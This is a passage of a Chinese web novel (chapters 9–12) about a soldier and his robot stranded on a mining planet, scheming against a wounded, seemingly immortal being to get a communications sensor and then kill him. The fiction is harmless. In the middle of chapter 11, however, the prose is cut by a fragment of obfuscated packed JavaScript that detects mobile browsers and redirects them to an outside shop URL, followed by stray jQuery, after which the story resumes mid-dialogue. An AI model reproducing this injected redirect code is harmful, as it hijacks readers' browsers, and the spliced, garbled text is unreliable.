通道口如同被罩了层透明隔离墙的禁区,再愤怒疯狂的兽群也不会突破界限。纪九坐在通道口下方的斜坡上,看着沙发上的人喘气。 序列者背对着他坐在沙发上,一只手闲适地轻叩扶手,旁边不知什么时候多出了一张小圆桌,还摆着一杯冒着热气的水。 显然他刚才离开过。 “我让你坐在那儿不要动。”纪九声音里是压制不住的愤怒,“十几只钢鬣兽冲了过来,我差一点就没命。” 他怒气翻涌,腾一下起身,大步走到序列者面前,将匕首抵在他的胸前。 “交易废除,我现在就要杀了你。没有通讯器又怎么样?大不了就在这里住一辈子,总比被你害死了要强。” 序列者的手指停住,却没有去看刀尖,目光顺着纪九起伏的胸脯一点点往上,对他对上了视线。 纪九长得好,特别是眼睛,一双桃花眼顾盼生辉,双眼皮深而宽,眼尾扫入鬓角。 他小时候经常会被人夸眼睛漂亮,也会沾沾自喜,但随着年龄渐长,却越来越不喜欢自己的眼睛,觉得那双眼会冲淡自己的威慑力。他读了军校后,更是嫌弃这副长相不够威风,想去做整容手术,被纪北宴给喝住。 “纪南瑾,你长得像母亲,所以爸妈才那么疼爱你。”纪北宴桌子拍得山响,“想要服众,想要出头,不是靠长相,而是要靠你的能力。” 所以现在他虽然怒气腾腾,却被那双眼睛冲淡了锋利,眼底还蒙着一层薄红,就像受了天大的委屈。 序列者注视着他:“你不会出事。” “那是因为老子跑得快。”纪九喝道。 “正因为你跑得快,所以你不会出事。” “这是什么逻辑?”纪九气得想笑,眼眶看着也更红。 序列者这次解释得比较详细:“我知道你的速度和反应力,也知道在什么样的范围内你是安全的。” 纪九和序列者对视着,情绪终于慢慢平复,不再那么激动。 序列者又道:“如果交易继续,你也会顺利拿到传感器。” 片刻后,纪九收回匕首,端起桌上的那杯水喝了个精光,接着一脸阴骘地转身,走向了水槽。 他捧起水浇在脸上,又将脑袋伸到龙头下,让凉水冲走满心的郁气和燥意。再抬起头,双手撑着水槽,从那锈迹斑斑的镜子里看着自己。 水珠从乌黑的发梢坠下,顺着脸庞滴滴跌落,锈迹间露出的那双眼,已经恢复了平静。 他刚才说的不是实话。 他其实等不起,不能在这荒星上耗着,而是必须要拿到传感器和军队联系,回到银辉星。 纪北宴两年前遭遇过一场暗杀,现在下肢瘫痪,处境艰难,需要他的保护和照看。 10. 第 10 章 机器人滑到了纪九身旁:“你要休息一会儿吗?我觉得你心情不太好。” “不,还有三只,杀了再休息。”纪九道。 他走向通道口,路过序列者身旁时,突然甩了甩脑袋,将那些水珠撒在序列者的肩膀和脸上。 序列者没去揩脸上的水,只轻轻皱了下眉,但纪九心头却舒服了些,将手里匕首转了两圈,大步走向通道口。 他刚要钻出通道,机器人便道:“他也过来了。” 纪九转头,看见序列者已经从沙发上站起,正朝着这边走来。 “别管他。” “好。” 纪九道:“这是要赶着去吃热乎的瘤子。” “哎哟,变态。” 纪九和机器人继续杀钢鬣兽时,序列者便一直呆在地面。他拿着一块薄薄的钢片,逐一割开那些兽尸的头颅,挑出里面的灰白色圆核咽下,又刨出来一块木薯根茎,抖落表层的土,用钢片认真地削皮。 机器人捂住嘴:“他居然在学孚鼠吃木薯根。” “我看见了。”纪九道。 “啧啧啧,好变态。” 序列者削掉木薯皮,再切成一些小块,一边吃一边看纪九和钢鬣兽缠斗。他进食时动作优雅,不像是在荒地上啃木薯,倒像是坐在餐厅里,享用午餐的同时还在欣赏节目。 最后一只钢鬣兽摇摇晃晃地倒下,纪九终于完成了今日任务。他喘着气走到序列者身前,一屁股坐下,双手撑着身后地面,抬头看着他。 “这个好吃吗?是什么味道?”纪九用下巴指了指序列者手里的木薯块。 “不好吃。木头的味道。” “你不吃东西会饿死吗? “会。” “饿死了再活过来?” 序列者耐心有限,回答了两个问题后便不再出声。纪九也不介意,只继续问:“既然饿死了也会活,那你吃东西的意义是什么?” 序列者沉默片刻后回道:“我不喜欢死亡。” 纪九立即想到自己杀过他两次的事,不免有些讪讪。但序列者并没注意他,吃完木薯便站起身,去将地上那两只钢鬣兽的头颅剖开,挑出里面的圆核。 “你为什么会吃那瘤子?”纪九又问。 “因为我是变态。” 纪九观察着他:“那其实不是瘤子,而是什么好东西吧?比如吃了就让你的能力大幅提升什么的。” 纪九只知道钢鬣兽生活在在H58矿星,资料不多,所以也不知道那圆核是什么。但他并不认为序列者吃瘤子只是为了口腹之欲,其中肯定还有别的原因。 “不是。”序列者简短地吐出两个字。 纪九摸着自己下巴,像是在盘算什么,序列者看出了他的想法,警告道:“它对你来说是剧毒,如果尝了一次,就永远没有机会再尝第二次。” “剧毒?” “如果不信,那你可以试试。”序列者起身往回走。 纪九当然不会去尝试,他见序列者已经进入通道口,便撑着地面想起身。但他还没站稳,便嘶一声皱起眉,伸手捂住了小腹。 “怎么了?”机器人问:“被钢鬣兽咬伤了吗?” “没。” 纪九只觉小腹突然闷痛,但也就那么一瞬,痛感已经快速消散。 “应该是激烈运动后胃肠道痉挛。”他松开捂住肚子的手,“走吧,我们也回去了。” 回到地下生活区,纪九一番洗漱清洗,随便吃了几片烤肉填饱肚子,便去找坐在沙发上的序列者。 序列者腿上铺着一块塑料布,手里拿着不知从哪儿找到的刻刀,正在雕一块拳头大的椭圆黑石。 纪九轻咳一声:“在雕鸡蛋吗?挺像的,不过换成白色石头就更像了。” 序列者只专心雕刻,石屑落在塑料布上,发出簌簌声响。 纪九在他身旁坐下:“阿怪,根据交易条件呢,我已经完成了今天的任务。但那传感器……当然,我不是今天就要拿到手,但总得让我看一眼吧,你说是不是?” 序列者头也不抬地道:“现在已经是六点了,再过一个小时就要降温。” “没事,我们走快点,来得及。”纪九又补充,“就算降温了也没关系,多带点被子毛毯。” “我走不了那么远。”序列者轻轻吹掉石头上的浮渣。 “那架推车是做什么的?”纪九指着空地边缘的推车,“那本来就是你的专属座驾,我和吴思琪就是你的专属司机。” 序列者停下动作,撩起眼皮,目光凉凉地看向纪九。 纪九冲他眨眨眼,露出一个无辜的笑容。 序列者想了想,将刻刀和石头放在小桌上:“行,那现在就去我的飞行器。” “好嘞!”纪九立即跑向宿舍,大声道,“吴思琪,准备点被子毛毯,我们现在出发,去阿宝的飞行器上拿那个——看那个传感器。” “好嘞!”正在打扫厨房的机器人匆匆钻出房间。 纪九带着机器人去抱被子时,在它耳边低声吩咐:“等会儿注意着点,只要有机会抢,那就直接动手。” 机器人屏幕上的眼睛亮了亮,也放轻了声音:“好!” 恒星就要落下地平线,天空呈现出极有层次感的蓝,霁青、苍蓝、粉青、釉蓝……层层叠叠地晕染开,如同一面展开的画布。 苍穹下,潮水似的钢鬣兽向东移动,当中留出的空地里行进着一架推车。 纪九和机器人拉着推车,序列者端坐在推车里。 纪九拽着绳感叹:“H58昼夜温差太大了,也不知道以前那些矿工怎么呆得住。” “可不是嘛,温差太大,简直待不住。”机器人附和。 “我现在就觉得有些凉飕飕的。”纪九摸了下自己胳膊。 机器人打了个哆嗦:“哟,已经在降温了。” “阿宝,你坐在车里不冷吧?”纪九问。 序列者瞥了他一眼,不带情绪地嗯了一声。 纪九一直扯东扯西,说个不停,还讲了个从士兵那儿听来的笑话,内容直白俚俗,机器人配合地笑得身体都在抖。 纪九觉得气氛很不错,便笑着转头:“阿宝,你怎么不笑?”不待序列者出声,他又自问自答:“我知道了,你这是身体太虚弱。对了,你到底受了什么伤?” 序列者慢慢看向他,眼里带着洞察一切的锐利。 他的眼睛和纪九不同,窄窄的双眼皮,眼窝很深,这样自眉峰下看着人的时候,便显得格外冷漠和锋利。 “与你无关。”他冷冷道。 “于我无关啊,那就好,不然会搞得我特别内疚,认为是我造成的。我这人就是脸薄,重情义,当初也是和你不熟,所以才起了点龃龉,但现在已经这么熟了,我就觉得挺不好意思的。” “那是,不好意思,真是不好意思。”机器人摇头道。 纪九话锋一转:“你吃那瘤子是在养病?解毒?” 序列者这次干脆闭上了眼,只靠着推车沿休息,身体随着推车轻轻摇晃。 纪九觉得自己猜得八九不离十,他虽然没有继续追问,嘴也没有闲着。 “阿宝,你有没有觉得很庆幸,居然能在这儿遇到我?我就是你的天降贵人,每天给你打那个毒瘤子,给你解馋,替你解毒。也不知道你上辈子究竟做了什么好事,居然能有这样的福气和运气……” 机器人仰头感叹:“这是上辈子拯救了整个猎户星系吧。” 当最后一抹光亮消失在天尽头,气温迅速降低,天空飘起了雪片,而纪九也终于到达了那艘坠落的塔柯飞行器。 序列者要下车,纪九立即去扶,又对机器人伸出手:“毛毯。” 纪九接过毛毯,抖开,举起,要披上序列者的肩。 序列者微微侧头,虽然没有阻拦,但那双眼里闪过一抹嘲讽。 纪九瞧得明明白白,脸上却笑得更加灿烂,见序列者提步要进飞行器,又赶前两步,替他先打开那扇虚虚合上的飞行器门。 序列者踏入飞行器,应急灯亮了起来,他一边打量着飞行器内部,一边问:“你受得了吗?” “什么?” “毫不掩饰自己的目的,全方位展示自己的虚伪。”序列者走向驾驶座。 纪九搓着发冷的胳膊,也转着脑袋在四处看:“你知道我是为了传感器,但难道非要我对你吆三喝四,用鼻孔眼朝着你,才让你看得顺眼?我毫不掩饰自己的目的和对你的讨好,这种表现才是真正的坦荡。” “油腔滑调。”序列者脸上看不出喜怒,只转身走向底舱,又将肩上的毛毯扯掉,抬手扔向右方。 机器人嗖一声滑了出去,在毛毯坠地前接住,赶紧往纪九手里递:“快披上,他不要正好,你快披上。” 底舱除了损毁的部件碎片,还有满地的各式配件,舰身上也有一些炮弹击出的创痕。 序列者按上右边舰壁,舰壁朝着旁边滑开,露出下方的暗格。 纪九一直探头看着,知道那里面就装着传感器,心脏跳得有些快。机器人牢记着找机会抢走传感器的事,胳膊背在身后,飞快地活动着十根机械手指。 序列者打开暗格门,从里面拿出一个烟盒状的银白色小扁盒,再提出了一个配件箱。 他转身去一旁坐下,没有关上暗格门,纪九看见里面还有几只相同的银白色小扁盒。 序列者打开配件箱,露出几层排列有序的配件。纪九一眼便看见了通讯器传感器,薄薄的一片,还未拆封,搁在箱子最上层,也看见机器人贴着舰壁,正朝着序列者移动。 序列者将那片传感器夹在手指间,对着纪九晃了晃。 “看清了?”他问道。 “看清了。” 序列者夹着传感器,目光注视着纪九,却在机器人从身后扑来的瞬 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纪九爬上扶梯,就要钻出底舱时突然回头,正好看见序列者从暗格里取出了什么,飞快地装进军装内兜。 他见序列者就要转身,便收回目光,双臂一撑,钻出了底舱。 回到地下生活区,喝了一杯热水,纪九仿似才活了过来,那颗快要结冰的心脏也开始重新跳动。但寒意没法立即驱走,手足依旧没有知觉,身体也不停发着抖。 宿舍的尽头是浴室,机器人打开房门探出头,冲着纪九喊:“热水放好了,你快来泡个澡。” 这间浴室挺大,左右墙上两排淋浴头,当中一个池子。 池子里热气缭绕,纪九闭着眼躺在水里,右手搭在池沿上,轻轻摩挲着一只银盒。 “我们拿到传感器,就能和军部联系,军部就会派人来接我们了。”机器人坐在池边,给纪九搓揉着头发。 纪九没有做声,只定定看着天花板。他脸颊被热气熏得发红,却拧着眉头,满脸愁容。 机器人略一分析,猜到他在想什么,便道:“他和我们做了交易,只要我们好好杀钢鬣兽,就会把传感器给我们的。” “傻瓜……”纪九从水里捞出毛巾,盖在自己额头上,长长叹了口气,“这场交易从来就不存在。” “吴思琪,假设我已经杀了一个月钢鬣兽,他把传感器交给了我,我和银盟军联系上,军部派人来接我。”纪九轻声问道,“那么接下来呢?” “接下来,我们就坐星舰离开。”机器人回道。 “脑子呢?”纪九仰头盯着它,“序列者把传感器给我,然后乖乖地坐在那里,等着银盟军来到H58接走我们,再将他打个稀碎,尸块带回银辉星去做成神囊?” “……啊!”机器人呆住。 “我和他都只说过交易内容,却从未提及过交易达成后该怎么办,因为他压根儿就不会给我传感器,不会让我和银盟军联系,也没打算让我活着。他自己为什么不和塔柯人联系?是因为他并不急着离开这里,要利用我给他打上一个月的钢鬣兽,给他治伤疗毒。” 机器人一言不发,片刻后突然冲向墙角,抓起搁在那里的金属铲就要离开浴室。 “等等,你做什么?回来!”纪九从池子里站起了身,“吴思琪,你把铲子放下,过来,我给你说。” 他将机器人拉到身侧:“铲子就能解决问题吗?我已经杀过他两次了,能解决吗?事实摆在眼前,不能,铲子刀子和绳子都不能。” “宝贝儿,我们现在的重点不是要杀他,而是要拿到传感器。我和他达成了交易,那这一个月就是缓冲期,我在这段时间里总能想到办法。” “我觉得重点是杀了他。”机器人道。 “怎么油盐不进的?我就知道不能告诉你,四肢发达头脑简单。”纪九看着它的滑板车,“四肢也不发达。” 纪九摸了摸机器人的脑袋,低声道:“慢慢来,我一定会拿到传感器,然后平安离开这里。你不相信自己,还不相信我吗?” 机器人瞥了他一眼:“我不相信你。” “这话就见外了啊,多大个事啊,还扯出了信任危机。”纪九话锋一转,“我问你,如果困在这儿的是纪北宴,你相信他会想出办法吗?” “相信。” “你这个养不熟的白眼狼,捂不热的鹅卵石。”纪九在它脑袋上拍了两下,恨声道,“过来,给我搓背。” 纪九坐下,机器人捞起毛巾要给他搓背,浴室门却在此时被推开,序列者出现在了门口。 纪九和机器人同时收声,都紧盯着门口的人。 序列者却没有将眼光分给他们,只目不斜视地走到墙边那排更衣柜前,脱掉军装外套,挂好,摘下领带,一颗颗解开衬衣扣…… 他最后脱掉了身上的所有衣物,全身赤裸地走向水池。 11. 第 11 章 纪九身在军营,经常和士兵们一起洗澡,互相也会对比身材,收紧双臂展示肌肉。但他现在打量着浑身赤裸的序列者,心里也不得不承认,这人的身材是他见过最完美的。 序列者的肩背是漂亮的倒三角形,腹肌块垒分明却恰到好处,腰上两条清晰的人鱼线,散发出既冷淡却又极具冲击力的雄性荷尔蒙,就像来自密林深处抑或雪山之巅的古神。 纪九的视线顺着那线条流畅的肌肉往下滑,一直滑到两腿之间,目光有着短暂的凝滞。接着在心里惊叹一声我靠,迅速移开了视线。 序列者毫不在意纪九和机器人的注视,坦然地步入水池,再沉下身体浸入水中。 他闭上眼靠着池沿,纪九和机器人便不再说话,浴室内安静下来,只听见换气装置发出的轻微嗡嗡声。 “纪九。”机器人突然小声道。 “没事,别紧张。” “我不紧张。” 纪九侧过头:“别怕——” 纪九突然一顿,机器人不知什么时候,已经将那把金属铲握在了手里。 “吴思琪,你去烧壶热水,我等会儿要喝。”纪九轻咳一声,换成了正常音量。 “刚才就已经烧好了。”机器人一直看着序列者,屏幕上显出的那双眼睛已经眯成了一条缝。 “再烧一壶,刚才那壶已经凉了。”纪九捏了捏它的胳膊,拿掉那把金属铲,“乖。” 机器人这才不情不愿地起身,一边转头看序列者,一边走出了门。浴室内再次恢复了沉寂,纪九两人各靠在浴池的对角,保持着最远的距离。 纪九率先打破了沉默,自我介绍道:“我叫纪九。” 序列者没有任何反应。 “当然,你已经知道我叫纪九了,不过我还有另外一个名字,叫做纪南瑾。”纪九抛砖引玉,又问,“你叫什么名字?我们还要相处近一个月,总得知道怎么称呼你吧?” 序列者睁开了眼,薄薄的唇里吐出两个字:“关阙。” “关阙?好名字,很特别,寓意也好。不过老话说得好,水满则溢,月盈则缺,太满了并不是件好事。你的名字里带阙,这样反而吉利——” “银盟军的咤羽将军纪北宴是你什么人?” 当关阙的声音响起时,纪九的话陡然停住。他原本放松地靠着池沿,闻言倏地绷紧身体坐了起来,脸色也瞬间大变。 水池里水温正好,他却只觉得周身发凉,那凉意从心脏爬至四肢百骸,蔓延至全身。 他还看着关阙,但目光已经变冷,透出了森森杀意。同时去看自己脱在更衣柜旁的脏衣物,他的匕首便放在那堆衣物的最上面。 关阙微仰着头,半枕半靠地躺在水里,那双半阖的眼,也隔着蒙蒙水汽看着纪九,目光深沉难明。 室内空气仿似凝住,纪九的脸色变了又变,各种念头在脑内飞速闪现。最后他还是冷静下来,放松了身体,神情也变得平静,只淡淡道:“纪北宴是我哥。” “嗯。” 关阙不置可否。 接下来的时间里,两人都没有再交谈半句。纪九控制住自己几次想将关阙杀死的冲动,一双手在水里紧紧握住,指甲都陷入了掌心。 半个小时后,纪九起身回房,他站起身的同时,对面的关阙也站了起来。 两人离开水池,都没有用毛巾裹着身体,只一前一后地走向更衣柜。更衣柜旁放着一摞单独包装的浴袍。纪九穿好内裤,拿起一袋浴袍拆除包装时,关阙便站在他身旁,用毛巾擦着身上的水。 纪九将浴袍披在身上,刚转身,拖鞋踩到湿滑的地面,整个人往前扑出。他此时正心神不属,只下意识去扶身前的物体,但手才伸至一半,便被另一只手给扼住了手腕。 纪九借着手腕的支撑站稳了身体,想收回手,但手腕依旧被关阙抓着。他抬起头,见关阙就站在面前,居高临下地垂眸看着他。 关阙全身未着寸缕,纪九也只披着一件浴袍,两人基本算是裸裎相对。纪九一直知道关阙个子高,但这样近距离地站在一起,才发现关阙的身形比他印象中更加高大,也带给他更加强烈的压迫感。 一颗水珠从纪九的下巴滴落,顺着胸膛滑落向下。关阙的视线也跟随着那颗水珠,在纪九半敞的浴袍里缓缓向下。 关阙的目光平静而冷淡,却让纪九生出一种面对危险猛兽的感觉,浑身的汗毛开始竖立,呼吸也变得急促。 他压制住将面前人推开的冲动,低头瞥了眼旁边的匕首,挣了挣手腕,道:“谢谢。” 关阙的视线重新回到纪九脸上,慢慢松开了手,但却又牵住纪九的浴袍两襟,拉拢,将他袒露的胸膛掩住,并从他腰侧拿出浴袍系带,不紧不慢地系好。 关阙给纪九系好浴袍带,便没有再看他,只拿起一袋未开封的浴袍开始拆。纪九也没有再说什么,只抓起自己的东西,一言不发地走向房门,匆匆离开了浴室。 纪九回到宿舍,机器人正在擦地板。他在床沿坐下,双手撑在膝上,垂着头,耳边是机器人的絮絮叨叨,脑子里一团乱糟糟。 “……纪九,纪九!” 机器人突然拔高的音量让纪九回过神。 “我说了半天让你抬脚,我要拖地板!” 纪九刚抬起双脚,门外便响起了由远及近的脚步声,两个立即停下了交谈。 脚步声经过他们房门,一直到这排宿舍的尽头停下,最后一间房的房门被打开,再关上。 “早点睡吧。”纪九躺了下去,“明天还要杀十只钢鬣兽。” 机器人关了灯,窸窸窣窣地在房间内滑来滑去,最后去到床头,将自己连上了插座。 空地上的灯光投进窗户,在地板上画出一块方正的白。屋内安静下来,纪九却没有入睡,只睁着眼盯着天花板。 “吴思琪,你睡着了吗?” “没有。”机器人的声音响起。 “你怎么还没关机?” “我在发呆。” “嗯,我也在发呆。” 纪九翻了个身,侧对着机器人,声音很轻地问:“你能查到多少有关铦电产生地的资料?” “不多。”机器人补充:“那属于军部机密。” “你仔细搜一下你的资料库。” “我已经搜过了。” “再搜一次试试?”纪九低声补充,“我们之前当他是死人,在他面前提过纪北宴。他早已经知道纪北宴和我的关系,刚才还故意问我,我就承认了纪北宴是我哥。” 机器人沉默两秒后,立即开始搜寻自己的资料库。 纪九抬眼看向那块泛着白的地板,喃喃道:“还记得那句话吗?只要咤羽在,银辉就在。塔柯军的很多场战斗都是输在了纪北宴的手里,所以想方设法都想除掉他,他的腿就是在那次塔柯人的刺杀行动里被伤的。” 纪九垂下眼眸:“而他性格方正,做事不会迂回,也得罪了不少银盟军的人。以前倒不用将那些人放在眼里,他人生里唯一的污点,无非就是我这个不争气的弟弟,那些人就算恨他嫉妒他,也拿他没有任何办法。” 机器人抬头看向他,目光闪了闪,正要说什么,纪九又接着道:“可他现在不一样了,没法带兵,也就失去了兵权。银盟军内部倾轧,他处境艰难,每天都像是在走钢索。如果关阙用我去要挟他,而这事又被某些人作为攻讦他的把柄,那他……” 机器人的重点却没在这里:“关阙是谁?” “就是阿怪。” “你们刚才还聊天了?” “没,就简单说了两句。” 纪九慢慢坐起身,眼睛直视前方,就像目光能穿透那重重厚墙,看到最边上那间屋子里的人。 “我知道他想做什么了。他不会杀我,会留着我的命,毕竟用我去对付纪北宴,比杀掉我更有用。” “我原本打算只要拿到传感器,就不用再对他动手,但他不该起了去动纪北宴的心思。”纪九那双浸在黑暗里的眼睛透出狠意,一字一句地道,“我必须要除掉他,彻底除掉。” 机器人问:“现在上吗?我去拿铲。” “不,那没用。”纪九摇头,“既然只有铦电才能彻底杀掉高阶序列者,那你现在就找一下资料库,看离我们最近的铦电产生地在哪里。” “纪九,你是普通等级的军人,所以我也是普通等级的机器人,那么我接触不到有关铦电的资料。” “但你本来是纪北宴的机器人,他以前肯定在你的资料库存了不少东西。”纪九坐直了身体。 机器人道:“他把我送给你之前,清理过我的资料库。” “你备份了没有?” “没有。” “我不信。” “真的。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187193|150702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我向纪北宴讨要你,他答应了。他还没来得及清理你的资料,我就把你的情绪感应值调到了百分百。”纪九借着窗外的灯光,半眯眼打量着机器人,一手轻轻摸着下巴,“你当时就像开了灵窍似的,变得鸡贼又狡猾,我不信你就任由纪北宴将那些资料删得干干净净,不留下一点备份。” “说!你备份了没有?”纪九突然指着机器人一声低喝。 “……没有。”机器人迟疑了两秒才回答。 “我不信。” “真的。” 机器人垂下脑袋,小声道:“但是我也没有删干净,还是藏了点。” “这才是我的好宝贝儿,是我亲生的。”纪九一把揽过机器人,在它头顶狠狠亲了口,“放心,我不会给纪北宴告密,而且我们这是在帮他,明白吗?” 机器人打开了自己的隐藏资料库,在里面搜索关于铦电产生地的资料,片刻后出声:“找到了。” “铦电其实是宇宙大爆炸后遗留下来的粒子,它游离于太空里,不同于任何我们熟悉的基本粒子,无法用粒子对撞机进行复制再造。这种粒子非常稀少,当聚集到足够数量后,便会形成铦电。军部搜集到的铦电产生地有十来处,位于猎马星系的各个星域,大部分都是几十年或上百年才产生一次,持续时间不到十分钟——” “你只说离我们最近的铦电产生地是哪里。”纪九打断了它。 机器人顿了顿:“在焦溪星域,离我们有五万光年距离。” 纪九沉默,机器人却又道:“但是资料显示,还有很多不固定的铦电产生地。它们不定时不定点,随时可能产生在太空里的任意一点,所以很难捕捉到。除非恰好到达了那个点,恰好勘察到有粒子在聚集才行。” “那又怎么样?我们既然能捕捉到铦电,也就能离开H58了。”纪九觉得自己找铦电的想法很不切实际,无力地后仰,倒在了床上。 “根据资料显示,这些不固定的铦电产生地,多发生在被开采枯竭后的矿星。研究认为,这可能是和矿源枯竭后散发出的褃物质有关。” 纪九又慢慢抬起头,和机器人那双发出灼灼光亮的眼睛对视着。 “要检测到铦电形成前的粒子聚集并不难,我就可以办到。”机器人道。 宿舍区房门打开,纪九探头,见关阙所在的房间大门紧闭,便带着机器人悄悄去了办公区。 半个小时后,办公区设备间里,机器人后颈连接着能量监测器,脸部屏幕上滚动着各种数据。 “会有吗?”机器人问。 “也许吧。” “你猜的话呢?” “也许吧。”纪九一瞬不瞬地盯着屏幕。 “……我不喜欢也许吧这个词,就像不喜欢你说快了两个字。” “也许吧。”纪九喃喃。 检测器突然发出嘀一声响,顶端的红灯变成绿色,机器人屏幕上的数据也停下跳动。 机器人惊喜地道:“H58行星上就有铦电粒子正在聚集,显示还有680小时38分就形成铦电!坐标位置就在东边,距我们不到十公里。” 机器人高兴得在地上团团转,纪九也压抑着兴奋,双手狠狠握了下拳。 两个激动片刻后,纪九不知想到了什么,又微微拧起了眉头。 机器人察觉到纪九的异样,停下打转,盯着他看,脸部屏幕上出现一个正在发光的灯泡图案。 “你怎么了?”机器人问。 纪九摸着自己下巴:“吴思琪,铦电那么珍贵,军部都非常稀少,居然让我们就这样找到了,是不是有点太顺利了?顺利得让我感觉到不正常。” “我觉得没什么不正常,这里是荒星,最容易出现铦电的地方。”机器人上前两步,按上纪九的手背,“你说过,我是最聪明最能干和运气最好的机器人。” 纪九笑了起来,脸上的困扰被这个明朗笑容冲得一干二净。 “对,是我想多了。只要有你这个运气最好的机器人在,哪怕我躺在屋子里睡觉,天上也会给我掉一团铦电下来。” 机器人道:“所以……” “所以28天后,我们就去那地方收集铦电。” “然后……” “然后?”纪九微垂下头,目光里透出杀意,“干掉他。” 机器人满脸狰狞地握着拳:“干掉他!” 12. 第 12 章 接下来的数天,纪九和关阙都相安无事地生活在矿场生活区。他们自那晚在浴室一起泡澡后,纪九有意和他保持着距离,不再有事没事找他说话,而关阙大部分时间都呆在自己房间,所以两人平常基本不照面。 不过纪九每天去捕猎钢鬣兽时,关阙也会上到地面。他经常穿着一套在生活区找到的深蓝色棉质家居服,坐在不远处,身旁搁着一杯水。如果那天日头太晒,椅背上还会架着一把伞。 纪九杀钢鬣兽时,关阙或眺望远方或兀自出神,偶尔看一眼战斗情况,又调开视线。纪九杀好十只,会直接返回地下,关阙这时才起身去挑钢鬣兽的核。 这段时间,关阙每天都吃下十颗圆核,纪九不知道他恢复得怎么样,只知道他已经能通过步行,在矿场与那架失事的飞行器之间自由来去。不过他依旧无法捕猎钢鬣兽,表明他的身体的确恢复了一些,却也没有痊愈。 关阙的身体状况让纪九放心了些,如果他们之间必须有一场生死战斗,那么他会占据上风。 纪九猎杀钢鬣兽越来越有经验,一个小时就能完成十颗圆核的任务。机器人的厨艺依旧很烂,但好在没有再炸过厨房。它觉得纪九光吃肉食也不行,所以也学会了去刨木薯,煮熟后当做主食。 机器人不负责关阙的食物,所以他都是自己找吃的。根据纪九的观察,他从来不吃钢鬣兽肉,只在每日到地面监工时,挖上两三根木薯,削掉外皮,切成小块,细嚼慢咽,便是一顿饭。 纪九有两次发现关阙拿着一个菱形的深色物体在看,像是石块或是什么金属碎片。当察觉到纪九的目光,他会收好那东西,放进贴身的衬衣衣兜。 纪九回想起那次去飞行器里取传感器时,关阙曾在暗格里拿走了一样东西。他当时虽然没有瞧清,但猜测应该就是这个。虽然不知道这碎片究竟是什么,但看关阙那谨慎的态度,应该非常重要。 今天是纪九捕猎钢鬣兽的第二十八天。 他穿着一套和关阙相同的深蓝色棉质家居服,裤脚挽至小腿,在杀掉十只钢鬣兽后,没有立即返回地下生活区,而是靠着一块大石休息。 这片荒原的极远处,有着深色的山体轮廓,当关阙走过来挑钢鬣兽圆核时,纪九语气随意地问道:“那山里应该有其他野兽吧?” 他俩已很少交谈,关阙略微一怔,转头看了眼:“应该是吧。” “真想去那山里找点吃的,这一个月全是木薯和钢鬣兽肉,闻到那味儿就想吐。”纪九叹了口气。 他说完这句后,便走向了通道口,关阙侧头看了他一眼,继续不紧不慢地挑着圆核。 地下生活区的厨房里,两个灶眼都燃着火,分别在蒸木薯和炖钢鬣兽肉。机器人脑袋上系着一条三角巾,腰间拴着一条围裙,站在厨房门口探头探脑。看见步入空地的纪九后,连忙朝他招手,纪九便也加快了脚步。 “还有四十分钟,铦电就要形成了。”机器人用围裙擦擦手,机械音音量不高,但声线很是尖锐。 “我知道,冷静点。”纪九掏了掏耳朵。 机器人拍拍自己的胸脯:“我已经将捕捉铦电的聚容器带上了,我们现在就出发,时间正合适。” 纪九点点头:“行,我去准备一下。” “那我关火。” 关阙将最后一个圆核咽下肚,却没有立即返回。他坐在一块大石上,荒原的风吹起衣服衣摆,吹乱了他的头发,让他那挺拔的身影无端多了几分寥落。 纪九带着机器人走出通道,走到他的身后,问道:“我要去那边的山里搞点吃的,你要一起吗?” “不去。”关阙回道。 “行吧,那我自己去。”纪九毫不意外这个回答,笑了笑,看向那远远围成一圈的钢鬣兽,“帮个忙怎么样?帮我开下路,不然我去不了。” 关阙没有回答,纪九便站在他身旁耐心等着。约莫过了一两分钟,关阙才站起身,擦过纪九身侧,走向了左边的那群钢鬣兽。 “谢了。” 钢鬣兽群迅速分开出一条道,纪九带着机器人匆匆离开,直到远离兽群,再也不会被它们追上时才停下脚步。他转过身,看了眼伫立在兽群中的那道高大身影,再收回视线,头也不回地冲向了东边的群山。 纪九在荒原上一路狂奔,机器人将滑板车的速度开到最大,风驰电掣地跟在他身旁。 “我们要跑十公里,只有二十五分钟。”机器人汇报。 “放心,时间完全够了。” 纪九的衣裳被风鼓动着,已经稍长的头发被风吹向了脑后。他跨过大石,跃过沟坎,如一只疾驰前行的猎豹。途中也会遇到一些奇形怪状的猛兽,嘶吼着朝他扑来。他脚下不停,匕首凌空刺出,机器人的金属铲随后到达,猛兽便痛嚎着飞了出去。 纪九终于跑到山脚,机器人报时:“还有四分钟。” 面前是一座高耸的黑石山,表层没有半棵植物,只有光秃秃的黑石。不远处有窸窸窣窣的动静,一只类似蜥蜴的爬行动物在石缝间穿行。 纪九全身是汗,喘着气仰头打量,目光落在右边山腰处,看见离地两米高的半空出现了水波状空气扭曲,那是高能粒子聚集时形成的空间波动。 “就在那里!”机器人也发现了异常。 纪九继续冲向山腰,沿途碎石往山下滑落,蜥蜴惊慌地缩回洞中。那片空间扭曲位于山腰上的一处平台,他刚刚冲上平台,就见机器人在开始倒计时:“十,九,八,七……” 纪九感觉到身体上有电流淌过,皮肤一阵麻痒,头发和汗毛根根竖起。而身前半空慢慢出现了树枝状蓝色电流束,像是玻璃上绽开的蓝色霜花。 “快点捕捉,铦电马上要没了。”机器人催促。 铦电只会对序列者造成伤害,普通人接触到也没关系,纪九接过机器人递来的聚容器,走到近处,按下开关,那团悬浮在空中的蓝色电流便从半空消失。 而他手里那透明容器里,则多出了一小团蓝色光球,若隐若现地悬浮在真空里。 铦电被捕获,高能粒子聚集形成的空间波动也跟着消失。纪九端详着手里的透明容器,机器人也凑了过来:“真好看。” 纪九看着那团小小的蓝光,这些天悬着的心终于放下,便笑着点了点头:“嗯,好看。” 两个又喜滋滋地看了一阵,纪九才道:“天要黑了,我们差不多该回去了,回去后藏在屋里慢慢看。” 